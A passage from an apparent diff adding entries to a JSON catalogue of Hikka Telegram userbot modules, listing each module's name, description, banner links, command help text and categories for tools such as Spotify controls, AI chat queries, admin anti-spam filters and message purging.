"en_doc": null, + "doc": "Включить предыдущий трек" + } + }, + { + "spnext": { + "ru_doc": null, + "en_doc": null, + "doc": "Включить следующий трек" + } + }, + { + "spbio": { + "ru_doc": null, + "en_doc": null, + "doc": "Включить/выключить стрим текущего трека в био" + } + }, + { + "spbiochannel": { + "ru_doc": null, + "en_doc": null, + "doc": "Включить/выключить стрим текущего трека в канале в био" + } + }, + { + "splike": { + "ru_doc": null, + "en_doc": null, + "doc": "Лайкнуть текущий трек" + } + }, + { + "sprepeat": { + "ru_doc": null, + "en_doc": null, + "doc": "Повторить текущий трек" + } + }, + { + "spnorepeat": { + "ru_doc": null, + "en_doc": null, + "doc": "Перестать повторять текущий трек" + } + }, + { + "spnow": { + "ru_doc": null, + "en_doc": null, + "doc": "Текущий трек" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "fajox1/famods/grokai.py": { + "name": "GrokAI", + "description": "Взаимодействие с Grok AI", + "meta": { + "pic": null, + "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/grokai.png?raw=true", + "developer": "@FAmods" + }, + "commands": [ + { + "grok": "Задать вопрос к Grok" + } + ], + "new_commands": [ + { + "grok": { + "ru_doc": null, + "en_doc": null, + "doc": "Задать вопрос к Grok" + } + } + ], + "category": [ + "Fun", + "Tools" + ] + }, + "fajox1/famods/checkhost.py": { + "name": "CheckHost", + "description": "Проверка доступности веб-сайтов, серверов, хостов и IP-адресов с разных геолокаций и тд.", + "meta": { + "pic": null, + "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/checkhost.png?raw=true", + "developer": "@FAmods" + }, + "commands": [ + { + "chhttp": "Проверить доступность" + } + ], + "new_commands": [ + { + "chhttp": { + "ru_doc": null, + "en_doc": null, + "doc": "Проверить доступность" + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "fajox1/famods/gsearch.py": { + "name": "Gsearch", + "description": "Поиск в Google", + "meta": { + "pic": null, + "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/gsearch.png?raw=true", + "developer": "@FAmods" + }, + "commands": [ + { + "gsearch": "Поиск в Google" + } + ], + "new_commands": [ + { + "gsearch": { + "ru_doc": null, + "en_doc": null, + "doc": "Поиск в Google" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "fajox1/famods/CodeBase64.py": { + "name": "CodeBase64", + "description": "Encode and decode base64", + "meta": { + "pic": null, + "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/CodeBase64.png?raw=true", + "developer": "@FAmods" + }, + "commands": [ + { + "cbase64": "Кодирование в base64" + }, + { + "dbase64": "Декодирование из base64" + } + ], + "new_commands": [ + { + "cbase64": { + "ru_doc": null, + "en_doc": null, + "doc": "Кодирование в base64" + } + }, + { + "dbase64": { + "ru_doc": null, + "en_doc": null, + "doc": "Декодирование из base64" + } + } + ], + "category": [ + "Fun", + "Tools" + ] + }, + "fajox1/famods/fabusiness.py": { + "name": "FAbusiness", + "description": "Бесплатный Telegram business", + "meta": { + "pic": null, + "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/fabusiness.png?raw=true", + "developer": "@FAmods" + }, + "commands": [ + { + "business": "Включить/выключить FAbusiness" + }, + { + "bsettings": "Настройка FAbusiness" + } + ], + "new_commands": [ + { + "business": { + "ru_doc": null, + "en_doc": null, + "doc": "Включить/выключить FAbusiness" + } + }, + { + "bsettings": { + "ru_doc": null, + "en_doc": null, + "doc": "Настройка FAbusiness" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "fajox1/famods/anonsms.py": { + "name": "AnonSMS", + "description": "Анонимное сообщение", + "meta": { + "pic": null, + "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/anonsms.png?raw=true", + "developer": "@FAmods" + }, + "commands": [ + { + "getanonlink": "Получить ссылку на получение анонимного сообщения" + }, + { + "anonsettings": "Настроят модуль" + } + ], + "new_commands": [ + { + "getanonlink": { + "ru_doc": null, + "en_doc": null, + "doc": "Получить ссылку на получение анонимного сообщения" + } + }, + { + "anonsettings": { + "ru_doc": null, + "en_doc": null, + "doc": "Настроят модуль" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "fajox1/famods/freegpt.py": { + "name": "FreeGPT", + "description": "Бесплатный ChatGPT. БЕЗ API. БЕЗ БОТОВ.", + "meta": { + "pic": null, + "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/freegpt.png?raw=true", + "developer": "@FAmods" + }, + "commands": [ + { + "gf": "Задать вопрос к ChatGPT" + }, + { + "gfi": "Сгенерировать картинку" + } + ], + "new_commands": [ + { + "gf": { + "ru_doc": null, + "en_doc": null, + "doc": "Задать вопрос к ChatGPT" + } + }, + { + "gfi": { + "ru_doc": null, + "en_doc": null, + "doc": "Сгенерировать картинку" + } + } + ], + "category": [ + "Fun", + "Tools" + ] + }, + "fajox1/famods/hetsu.py": { + "name": "Hetsu", + "description": "Search and install modules easily.", + "meta": { + "pic": null, + "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/hetsu.png?raw=true", + "developer": "@FAmods" + }, + "commands": [ + { + "hetsucmd": "Search module" + } + ], + "new_commands": [ + { + "hetsu": { + "ru_doc": null, + "en_doc": null, + "doc": "Search module" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "fajox1/famods/requirements.py": { + "name": "Requirements", + "description": "Работа с pip пакетами в модуле", + "meta": { + "pic": null, + "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/requirements.png?raw=true", + "developer": "@FAmods" + }, + "commands": [ + { + "dldeps": "Установить pip пакеты с модуля" + }, + { + "uldeps": "Удалить pip пакеты с модуля" + }, + { + "deps": "Посмотреть pip пакеты с модуля" + } + ], + "new_commands": [ + { + "dldeps": { + "ru_doc": null, + "en_doc": null, + "doc": "Установить pip пакеты с модуля" + } + }, + { + "uldeps": { + "ru_doc": null, + "en_doc": null, + "doc": "Удалить pip пакеты с модуля" + } + }, + { + "deps": { + "ru_doc": null, + "en_doc": null, + "doc": "Посмотреть pip пакеты с модуля" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "fajox1/famods/ytsearch.py": { + "name": "YTsearch", + "description": "Поиск в Youtube", + "meta": { + "pic": null, + "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/ytsearch.png?raw=true", + "developer": "@FAmods" + }, + "commands": [ + { + "ytvsearch": "Поиск видео в Youtube" + }, + { + "ytcsearch": "Поиск каналов в Youtube" + } + ], + "new_commands": [ + { + "ytvsearch": { + "ru_doc": null, + "en_doc": null, + "doc": "Поиск видео в Youtube" + } + }, + { + "ytcsearch": { + "ru_doc": null, + "en_doc": null, + "doc": "Поиск каналов в Youtube" + } + } + ], + "category": [ + "Tools", + "Media" + ] + }, + "fajox1/famods/faker.py": { + "name": "Faker", + "description": "Генерация фейк информации", + "meta": { + "pic": null, + "banner": "https://github.com/FajoX1/FAmods/blob/main/assets/banners/faker.png?raw=true", + "developer": "@FAmods" + }, + "commands": [ + { + "gfake": "Сгенерировать фейк информацию" + } + ], + "new_commands": [ + { + "gfake": { + "ru_doc": null, + "en_doc": null, + "doc": "Сгенерировать фейк информацию" + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "anon97945/hikka-mods/admintools.py": { + "name": "ApodiktumAdminToolsMod", + "description": "Toolpack for Channel and Group Admins.", + "meta": { + "pic": "https://t.me/apodiktum_dumpster/13", + "banner": "https://t.me/apodiktum_dumpster/11", + "developer": "@apodiktum_modules" + }, + "commands": [ + { + "cadmintoolscmd": "Open the config for the module." + }, + { + "refresh_chatcmd": "Refresh the chat cache in the current chat." + }, + { + "bndcmd": " \n  - Toggles BlockNonDiscussion for the current chat.\n.bnd notify <true/false>\n  - Toggles the notification message.\n.bnd mute <minutes/or 0>\n  - Mutes the user for x minutes. 0 to disable.\n.bnd deltimer <seconds/or 0>\n  - Deletes the notification message in seconds. 0 to disable.\n.bnd settings\n  - Shows the current configuration of the chat.\n.bnd db\n  - Shows the current database.\n.bnd clearall\n  - Clears the db of BlockNonDiscussion." + }, + { + "bfcmd": " \n  - Toggles BlockFlood for the current chat.\n.bf notify <true/false>\n  - Toggles the notification message.\n.bf mute <minutes/or 0>\n  - Mutes the user for x minutes. 0 to disable.\n.bf deltimer <seconds/or 0>\n  - Deletes the notification message in seconds. 0 to disable.\n.bf settings\n  - Shows the current configuration of the chat.\n.bf db\n  - Shows the current database.\n.bf clearall\n  - Clears the db of BlockNonDiscussion." + }, + { + "bcucmd": " \n  - Toggles BlockChannelUser for the current chat.\n.bcu notify <true/false>\n  - Toggles the notification message.\n.bcu ban <true/false>\n  - Bans the channel.\n.bcu deltimer <seconds/or 0>\n  - Deletes the notification message in seconds. 0 to disable.\n.bcu settings\n  - Shows the current configuration of the chat.\n.bcu db\n  - Shows the current database.\n.bcu clearall\n  - Clears the db of BlockChannelUser." + }, + { + "bnccmd": " \n  - Toggles BlockNonComment for the current chat.\n.bnc notify <true/false>\n  - Toggles the notification message.\n.bnc mute <minutes/or 0>\n  - Mutes the user for x minutes. 0 to disable.\n.bnc deltimer <seconds/or 0>\n  - Deletes the notification message in seconds. 0 to disable.\n.bnc settings\n  - Shows the current configuration of the chat.\n.bnc db\n  - Shows the current database.\n.bnc clearall\n  - Clears the db of BlockNonComment." + }, + { + "bdlcmd": " \n  - Toggles BlockDoubleLinks for the current chat.\n.bdl timeout <seconds>\n - Sets the timeout for the double links.\n.bdl notify <true/false>\n  - Toggles the notification message.\n.bdl deltimer <seconds/or 0>\n  - Deletes the notification message in seconds. 0 to disable.\n.bdl settings\n  - Shows the current configuration of the chat.\n.bdl db\n  - Shows the current database.\n.bdl clearall\n  - Clears the db of BlockChannelUser." + }, + { + "bsscmd": " \n  - Toggles BlockStickerSpam for the current chat.\n.bss timeout <seconds>\n - Sets the timeout for the sticker spam.\n.bss notify <true/false>\n  - Toggles the notification message.\n.bss deltimer <seconds/or 0>\n  - Deletes the notification message in seconds. 0 to disable.\n.bss settings\n  - Shows the current configuration of the chat.\n.bss db\n  - Shows the current database.\n.bss clearall\n  - Clears the db of BlockChannelUser." + }, + { + "bcecmd": " \n  - Toggles BlockCustomEmojis for the current chat.\n.bce timeout <seconds>\n - Sets the timeout for the sticker spam.\n.bce notify <true/false>\n  - Toggles the notification message.\n.bce deltimer <seconds/or 0>\n  - Deletes the notification message in seconds. 0 to disable.\n.bce settings\n  - Shows the current configuration of the chat.\n.bce db\n  - Shows the current database.\n.bce clearall\n  - Clears the db of BlockChannelUser." + }, + { + "bgscmd": " \n  - Toggles BlockStickerSpam for the current chat.\n.bgs timeout <seconds>\n - Sets the timeout for the sticker spam.\n.bgs notify <true/false>\n  - Toggles the notification message.\n.bgs deltimer <seconds/or 0>\n  - Deletes the notification message in seconds. 0 to disable.\n.bgs settings\n  - Shows the current configuration of the chat.\n.bgs db\n  - Shows the current database.\n.bgs clearall\n  - Clears the db of BlockChannelUser." + }, + { + "glcmd": "<chatid> <logchannelid>\n  - Logs given groupchat in given channel.\n.gl rem <chatid>\n  - Removes given chat from watcher.\n.gl db\n  - Shows the current database.\n.gl settings\n  - Shows the current configuration of the chat.\n.gl clearall\n  - Clears the db of Group/Channel Logger." + } + ], + "new_commands": [ + { + "cadmintools": { + "ru_doc": null, + "en_doc": null, + "doc": "Open the config for the module." + } + }, + { + "refresh_chat": { + "ru_doc": null, + "en_doc": null, + "doc": "Refresh the chat cache in the current chat." + } + }, + { + "bnd": { + "ru_doc": null, + "en_doc": null, + "doc": " \n  - Toggles BlockNonDiscussion for the current chat.\n.bnd notify <true/false>\n  - Toggles the notification message.\n.bnd mute <minutes/or 0>\n  - Mutes the user for x minutes. 0 to disable.\n.bnd deltimer <seconds/or 0>\n  - Deletes the notification message in seconds. 0 to disable.\n.bnd settings\n  - Shows the current configuration of the chat.\n.bnd db\n  - Shows the current database.\n.bnd clearall\n  - Clears the db of BlockNonDiscussion." + } + }, + { + "bf": { + "ru_doc": null, + "en_doc": null, + "doc": " \n  - Toggles BlockFlood for the current chat.\n.bf notify <true/false>\n  - Toggles the notification message.\n.bf mute <minutes/or 0>\n  - Mutes the user for x minutes. 0 to disable.\n.bf deltimer <seconds/or 0>\n  - Deletes the notification message in seconds. 0 to disable.\n.bf settings\n  - Shows the current configuration of the chat.\n.bf db\n  - Shows the current database.\n.bf clearall\n  - Clears the db of BlockNonDiscussion." + } + }, + { + "bcu": { + "ru_doc": null, + "en_doc": null, + "doc": " \n  - Toggles BlockChannelUser for the current chat.\n.bcu notify <true/false>\n  - Toggles the notification message.\n.bcu ban <true/false>\n  - Bans the channel.\n.bcu deltimer <seconds/or 0>\n  - Deletes the notification message in seconds. 0 to disable.\n.bcu settings\n  - Shows the current configuration of the chat.\n.bcu db\n  - Shows the current database.\n.bcu clearall\n  - Clears the db of BlockChannelUser." + } + }, + { + "bnc": { + "ru_doc": null, + "en_doc": null, + "doc": " \n  - Toggles BlockNonComment for the current chat.\n.bnc notify <true/false>\n  - Toggles the notification message.\n.bnc mute <minutes/or 0>\n  - Mutes the user for x minutes. 0 to disable.\n.bnc deltimer <seconds/or 0>\n  - Deletes the notification message in seconds. 0 to disable.\n.bnc settings\n  - Shows the current configuration of the chat.\n.bnc db\n  - Shows the current database.\n.bnc clearall\n  - Clears the db of BlockNonComment." + } + }, + { + "bdl": { + "ru_doc": null, + "en_doc": null, + "doc": " \n  - Toggles BlockDoubleLinks for the current chat.\n.bdl timeout <seconds>\n - Sets the timeout for the double links.\n.bdl notify <true/false>\n  - Toggles the notification message.\n.bdl deltimer <seconds/or 0>\n  - Deletes the notification message in seconds. 0 to disable.\n.bdl settings\n  - Shows the current configuration of the chat.\n.bdl db\n  - Shows the current database.\n.bdl clearall\n  - Clears the db of BlockChannelUser." + } + }, + { + "bss": { + "ru_doc": null, + "en_doc": null, + "doc": " \n  - Toggles BlockStickerSpam for the current chat.\n.bss timeout <seconds>\n - Sets the timeout for the sticker spam.\n.bss notify <true/false>\n  - Toggles the notification message.\n.bss deltimer <seconds/or 0>\n  - Deletes the notification message in seconds. 0 to disable.\n.bss settings\n  - Shows the current configuration of the chat.\n.bss db\n  - Shows the current database.\n.bss clearall\n  - Clears the db of BlockChannelUser." + } + }, + { + "bce": { + "ru_doc": null, + "en_doc": null, + "doc": " \n  - Toggles BlockCustomEmojis for the current chat.\n.bce timeout <seconds>\n - Sets the timeout for the sticker spam.\n.bce notify <true/false>\n  - Toggles the notification message.\n.bce deltimer <seconds/or 0>\n  - Deletes the notification message in seconds. 0 to disable.\n.bce settings\n  - Shows the current configuration of the chat.\n.bce db\n  - Shows the current database.\n.bce clearall\n  - Clears the db of BlockChannelUser." + } + }, + { + "bgs": { + "ru_doc": null, + "en_doc": null, + "doc": " \n  - Toggles BlockStickerSpam for the current chat.\n.bgs timeout <seconds>\n - Sets the timeout for the sticker spam.\n.bgs notify <true/false>\n  - Toggles the notification message.\n.bgs deltimer <seconds/or 0>\n  - Deletes the notification message in seconds. 0 to disable.\n.bgs settings\n  - Shows the current configuration of the chat.\n.bgs db\n  - Shows the current database.\n.bgs clearall\n  - Clears the db of BlockChannelUser." + } + }, + { + "gl": { + "ru_doc": null, + "en_doc": null, + "doc": "<chatid> <logchannelid>\n  - Logs given groupchat in given channel.\n.gl rem <chatid>\n  - Removes given chat from watcher.\n.gl db\n  - Shows the current database.\n.gl settings\n  - Shows the current configuration of the chat.\n.gl clearall\n  - Clears the db of Group/Channel Logger." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "anon97945/hikka-mods/lcr.py": { + "name": "ApodiktumLCRMod", + "description": "Telegram Login Code Reciever", + "meta": { + "pic": "https://t.me/apodiktum_dumpster/13", + "banner": "https://t.me/apodiktum_dumpster/11", + "developer": "@apodiktum_modules" + }, + "commands": [ + { + "lcrcmd": "Available commands:\n.lcr\n - waiting for the login code from TG service chat, use in private.\n.lcr group --force\n - waiting for the login code from TG service chat, use in group." + } + ], + "new_commands": [ + { + "lcr": { + "ru_doc": null, + "en_doc": null, + "doc": "Available commands:\n.lcr\n - waiting for the login code from TG service chat, use in private.\n.lcr group --force\n - waiting for the login code from TG service chat, use in group." + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "anon97945/hikka-mods/msg_merger.py": { + "name": "ApodiktumMsgMergerMod", + "description": "This module will merge own messages, if there is no message in between.", + "meta": { + "pic": "https://t.me/apodiktum_dumpster/13", + "banner": "https://t.me/apodiktum_dumpster/11", + "developer": "@apodiktum_modules" + }, + "commands": [ + { + "cmsgmergercmd": "open the config of the module." + }, + { + "mergecmd": "merge all messages of own until the last message of another user." + }, + { + "unmergecmd": "unmerge the messages." + } + ], + "new_commands": [ + { + "cmsgmerger": { + "ru_doc": null, + "en_doc": null, + "doc": "open the config of the module." + } + }, + { + "merge": { + "ru_doc": null, + "en_doc": null, + "doc": "merge all messages of own until the last message of another user." + } + }, + { + "unmerge": { + "ru_doc": null, + "en_doc": null, + "doc": "unmerge the messages." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "anon97945/hikka-mods/save_message.py": { + "name": "ApodiktumSaveMessageMod", + "description": "Get Message/Media from given link (also works for forward restricted content).", + "meta": { + "pic": "https://t.me/apodiktum_dumpster/13", + "banner": "https://t.me/apodiktum_dumpster/11", + "developer": "@apodiktum_modules" + }, + "commands": [ + { + "smcmd": "<messagelink> to forward message/media to SavedMessages." + }, + { + "smhcmd": "<messagelink> to forward message/media to current chat." + } + ], + "new_commands": [ + { + "sm": { + "ru_doc": null, + "en_doc": null, + "doc": "<messagelink> to forward message/media to SavedMessages." + } + }, + { + "smh": { + "ru_doc": null, + "en_doc": null, + "doc": "<messagelink> to forward message/media to current chat." + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "anon97945/hikka-mods/dnd.py": { + "name": "ApodiktumDNDMod", + "description": " \n-> Prevents people sending you unsolicited private messages.\n-> Prevents disturbing when you are unavailable.\nCheck `.cdnd`.", + "meta": { + "pic": "https://t.me/apodiktum_dumpster/13", + "banner": "https://t.me/apodiktum_dumpster/11", + "developer": "@apodiktum_modules" + }, + "commands": [ + { + "cdndcmd": "This will open the config for the module." + }, + { + "pmbanlastcmd": "<number> - Ban and delete dialogs with n most new users." + }, + { + "allowpmcmd": "<reply or user> - Allow user to pm you." + }, + { + "denypmcmd": "<reply or user> - Deny user to pm you." + }, + { + "reportpmcmd": "<reply> - Report the user to spam. Use only in PM." + }, + { + "blockcmd": "<reply> - Block this user without being warned." + }, + { + "unblockcmd": "<reply> - Unblock this user." + }, + { + "statuscmd": "<short_name> [optional duration|1s/m/h/d] [optional further information] - Set status." + }, + { + "unstatuscmd": "Remove status." + }, + { + "newstatuscmd": "<short_name> <notif|0/1> <text> - New status.\nExample: .newstatus test 1 Hello!" + }, + { + "delstatuscmd": "<short_name> - Delete status." + }, + { + "statusescmd": "Show available statuses." + } + ], + "new_commands": [ + { + "cdnd": { + "ru_doc": null, + "en_doc": null, + "doc": "This will open the config for the module." + } + }, + { + "pmbanlast": { + "ru_doc": null, + "en_doc": null, + "doc": "<number> - Ban and delete dialogs with n most new users." + } + }, + { + "allowpm": { + "ru_doc": null, + "en_doc": null, + "doc": "<reply or user> - Allow user to pm you." + } + }, + { + "denypm": { + "ru_doc": null, + "en_doc": null, + "doc": "<reply or user> - Deny user to pm you." + } + }, + { + "reportpm": { + "ru_doc": null, + "en_doc": null, + "doc": "<reply> - Report the user to spam. Use only in PM." + } + }, + { + "block": { + "ru_doc": null, + "en_doc": null, + "doc": "<reply> - Block this user without being warned." + } + }, + { + "unblock": { + "ru_doc": null, + "en_doc": null, + "doc": "<reply> - Unblock this user." + } + }, + { + "status": { + "ru_doc": null, + "en_doc": null, + "doc": "<short_name> [optional duration|1s/m/h/d] [optional further information] - Set status." + } + }, + { + "unstatus": { + "ru_doc": null, + "en_doc": null, + "doc": "Remove status." + } + }, + { + "newstatus": { + "ru_doc": null, + "en_doc": null, + "doc": "<short_name> <notif|0/1> <text> - New status.\nExample: .newstatus test 1 Hello!" + } + }, + { + "delstatus": { + "ru_doc": null, + "en_doc": null, + "doc": "<short_name> - Delete status." + } + }, + { + "statuses": { + "ru_doc": null, + "en_doc": null, + "doc": "Show available statuses." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "anon97945/hikka-mods/pmlog.py": { + "name": "ApodiktumPMLogMod", + "description": "Logs PMs to a group/channel", + "meta": { + "pic": "https://t.me/apodiktum_dumpster/13", + "banner": "https://t.me/apodiktum_dumpster/11", + "developer": "@apodiktum_modules" + }, + "commands": [ + { + "cpmlogcmd": "This will open the config for the module." + } + ], + "new_commands": [ + { + "cpmlog": { + "ru_doc": null, + "en_doc": null, + "doc": "This will open the config for the module." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "anon97945/hikka-mods/apolib_controller.py": { + "name": "ApodiktumLibControllerMod", + "description": "This is a Library Controller module required for Apodiktum Library Modules and also 3rd-party modules.\n>>Do not unload this!<<", + "meta": { + "pic": "https://t.me/apodiktum_dumpster/13", + "banner": "https://t.me/apodiktum_dumpster/11", + "developer": "@apodiktum_modules" + }, + "commands": [ + { + "capolibcmd": "This will open the config for the module." + }, + { + "unloadapocontrollercmd": "This will unload the module and prevent it from loading through apo_lib.\n!!Beware that this will break all modules that depend on apo_lib q_watcher. Use this only if you know what you are doing!!" + }, + { + "vapolibcmd": "shows the current version of the apodiktum_library." + }, + { + "qapolibcmd": "shows the current queue and tasks of the apodiktum_library." + }, + { + "fclcmd": "<langcode> | force language of supported modules in this chat." + }, + { + "remfclcmd": "remove force language in this chat." + } + ], + "new_commands": [ + { + "capolib": { + "ru_doc": null, + "en_doc": null, + "doc": "This will open the config for the module." + } + }, + { + "unloadapocontroller": { + "ru_doc": null, + "en_doc": null, + "doc": "This will unload the module and prevent it from loading through apo_lib.\n!!Beware that this will break all modules that depend on apo_lib q_watcher. Use this only if you know what you are doing!!" + } + }, + { + "vapolib": { + "ru_doc": null, + "en_doc": null, + "doc": "shows the current version of the apodiktum_library." + } + }, + { + "qapolib": { + "ru_doc": null, + "en_doc": null, + "doc": "shows the current queue and tasks of the apodiktum_library." + } + }, + { + "fcl": { + "ru_doc": null, + "en_doc": null, + "doc": "<langcode> | force language of supported modules in this chat." + } + }, + { + "remfcl": { + "ru_doc": null, + "en_doc": null, + "doc": "remove force language in this chat." + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "anon97945/hikka-mods/auto_delerror.py": { + "name": "ApodiktumAutoDelErrorMod", + "description": "This module deletes error messages which have defined text in it.", + "meta": { + "pic": "https://t.me/apodiktum_dumpster/13", + "banner": "https://t.me/apodiktum_dumpster/11", + "developer": "@apodiktum_modules" + }, + "commands": [ + { + "cautodelerrorcmd": "This will open the config for the module." + } + ], + "new_commands": [ + { + "cautodelerror": { + "ru_doc": null, + "en_doc": null, + "doc": "This will open the config for the module." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "anon97945/hikka-mods/langreplier.py": { + "name": "ApodiktumLangReplierMod", + "description": "This module automatically respond to messages with unknown languages.", + "meta": { + "pic": "https://t.me/apodiktum_dumpster/13", + "banner": "https://t.me/apodiktum_dumpster/11", + "developer": "@apodiktum_modules" + }, + "commands": [ + { + "clangrepliercmd": "This will open the config for the module." + } + ], + "new_commands": [ + { + "clangreplier": { + "ru_doc": null, + "en_doc": null, + "doc": "This will open the config for the module." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "anon97945/hikka-mods/tts.py": { + "name": "ApodiktumTTSMod", + "description": null, + "meta": { + "pic": "https://t.me/apodiktum_dumpster/13", + "banner": "https://t.me/apodiktum_dumpster/11", + "developer": "@apodiktum_modules" + }, + "commands": [ + { + "cttscmd": "This will open the config for the module." + }, + { + "ttscmd": "Convert text to speech with Google APIs" + }, + { + "speedvccmd": "Speed up voice by x" + } + ], + "new_commands": [ + { + "ctts": { + "ru_doc": null, + "en_doc": null, + "doc": "This will open the config for the module." + } + }, + { + "tts": { + "ru_doc": null, + "en_doc": null, + "doc": "Convert text to speech with Google APIs" + } + }, + { + "speedvc": { + "ru_doc": null, + "en_doc": null, + "doc": "Speed up voice by x" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "anon97945/hikka-mods/linked_chat.py": { + "name": "ApodiktumLinkedChatMod", + "description": "Forces users to join a linked chat before they can send messages in the current chat.", + "meta": { + "pic": "https://t.me/apodiktum_dumpster/13", + "banner": "https://t.me/apodiktum_dumpster/11", + "developer": "@apodiktum_modules" + }, + "commands": [ + { + "clinkedchatcmd": "This will open the config for the module." + } + ], + "new_commands": [ + { + "clinkedchat": { + "ru_doc": null, + "en_doc": null, + "doc": "This will open the config for the module." + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "anon97945/hikka-mods/show_viewer.py": { + "name": "ApodiktumShowViewsMod", + "description": "Send a message to get the current count of viewers.", + "meta": { + "pic": "https://t.me/apodiktum_dumpster/13", + "banner": "https://t.me/apodiktum_dumpster/11", + "developer": "@apodiktum_modules" + }, + "commands": [ + { + "svcmd": "<message/reply to msg> Send a message to get the current count of viewers with that message." + }, + { + "gvcmd": "<reply to msg> Get current views of the message." + } + ], + "new_commands": [ + { + "sv": { + "ru_doc": null, + "en_doc": null, + "doc": "<message/reply to msg> Send a message to get the current count of viewers with that message." + } + }, + { + "gv": { + "ru_doc": null, + "en_doc": null, + "doc": "<reply to msg> Get current views of the message." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "anon97945/hikka-mods/purge.py": { + "name": "ApodiktumPurgeMod", + "description": "Userbot module for purging unneeded messages(usually spam or ot).\nCheck the `.config apodiktum purge` to enable/disable logging.", + "meta": { + "pic": "https://t.me/apodiktum_dumpster/13", + "banner": "https://t.me/apodiktum_dumpster/11", + "developer": "@apodiktum_modules" + }, + "commands": [ + { + "cpurgecmd": "This will open the config for the module." + }, + { + "apurgecmd": "Delete all messages up to and including the reply.\n- Usage: .apurge <reply>" + }, + { + "spurgecmd": "Delete all messages up to and including the reply silently.\n- Usage: .spurge <reply>" + }, + { + "purgemecmd": "Delete x count (or all) of your latest messages.\n- Usage: .purgeme <count/all>" + }, + { + "spurgemecmd": "Delete x count (or all) of your latest messages silently.\n- Usage: .spurgeme <count/all>" + }, + { + "purgeusercmd": "Delete all messages from the replied user.\n- Usage: .purgeuser <reply>" + }, + { + "spurgeusercmd": "Delete all messages from the replied user silently.\n - Usage: .spurgeuser <reply>" + }, + { + "adelcmd": "Delete the replied message.\n - Usage: .adel <reply>" + }, + { + "editcmd": "Edit your last message.\n - Usage: .edit <text>" + }, + { + "sdcmd": "Make self-destructive messages. Also works for media when used in caption.\n - Usage: .sd <time> <text>" + } + ], + "new_commands": [ + { + "cpurge": { + "ru_doc": null, + "en_doc": null, + "doc": "This will open the config for the module." + } + }, + { + "apurge": { + "ru_doc": null, + "en_doc": null, + "doc": "Delete all messages up to and including the reply.\n- Usage: .apurge <reply>" + } + }, + { + "spurge": { + "ru_doc": null, + "en_doc": null, + "doc": "Delete all messages up to and including the reply silently.\n- Usage: .spurge <reply>" + } + }, + { + "purgeme": { + "ru_doc": null, + "en_doc": null, + "doc": "Delete x count (or all) of your latest messages.\n- Usage: .purgeme <count/all>" + } + }, + { + "spurgeme": { + "ru_doc": null, + "en_doc": null, + "doc": "Delete x count (or all) of your latest messages silently.\n- Usage: .spurgeme <count/all>" + } + }, + { + "purgeuser": { + "ru_doc": null, + "en_doc": null, + "doc": "Delete all messages from the replied user.\n- Usage: .purgeuser <reply>" + } + }, + { + "spurgeuser": { + "ru_doc": null, + "en_doc": null, + "doc": "Delete all messages from the replied user silently.\n - Usage: .spurgeuser <reply>" + } + }, + { + "adel": { + "ru_doc": null, + "en_doc": null, + "doc": "Delete the replied message.\n - Usage: .adel <reply>" + } + }, + { + "edit": { + "ru_doc": null, + "en_doc": null, + "doc": "Edit your last message.\n - Usage: .edit <text>" + } + }, + { + "sd": { + "ru_doc": null, + "en_doc": null, + "doc": "Make self-destructive messages. Also works for media when used in caption.\n - Usage: .sd <time> <text>" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "anon97945/hikka-mods/donators.py": { + "name": "ApodiktumDonatorsMod", + "description": "Handle donations in a given channel and kick them after the period of time.", + "meta": { + "pic": "https://t.me/apodiktum_dumpster/13", + "banner": "https://t.me/apodiktum_dumpster/11", + "developer": "@apodiktum_modules" + }, + "commands": [ + { + "cdonatorscmd": "This will open the config for the module." + }, + { + "donamountcmd": "Calculate the amount of donations." + }, + { + "donsavecmd": "Save donation. Reply to the user message!\nPattern:\n.donsave <amount> <currency> <dtype> <rank> <code> | as reply!\nExample:\n.donsave 100 € amazon vip 123-123-123-123, 456-456-456-456 | as reply!" + } + ], + "new_commands": [ + { + "cdonators": { + "ru_doc": null, + "en_doc": null, + "doc": "This will open the config for the module." + } + }, + { + "donamount": { + "ru_doc": null, + "en_doc": null, + "doc": "Calculate the amount of donations." + } + }, + { + "donsave": { + "ru_doc": null, + "en_doc": null, + "doc": "Save donation. Reply to the user message!\nPattern:\n.donsave <amount> <currency> <dtype> <rank> <code> | as reply!\nExample:\n.donsave 100 € amazon vip 123-123-123-123, 456-456-456-456 | as reply!" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "anon97945/hikka-mods/_skeleton.py": { + "name": "ApodiktumSkeletonMod", + "description": "This is a skeleton module.", + "meta": { + "pic": "https://t.me/apodiktum_dumpster/13", + "banner": "https://t.me/apodiktum_dumpster/11", + "developer": "@apodiktum_modules" + }, + "commands": [ + { + "cskeletoncmd": "This will open the config for the module." + }, + { + "skeletoncmd": "This is a skeleton command." + }, + { + "skeletoargscmd": "This is a skeleton command with args." + } + ], + "new_commands": [ + { + 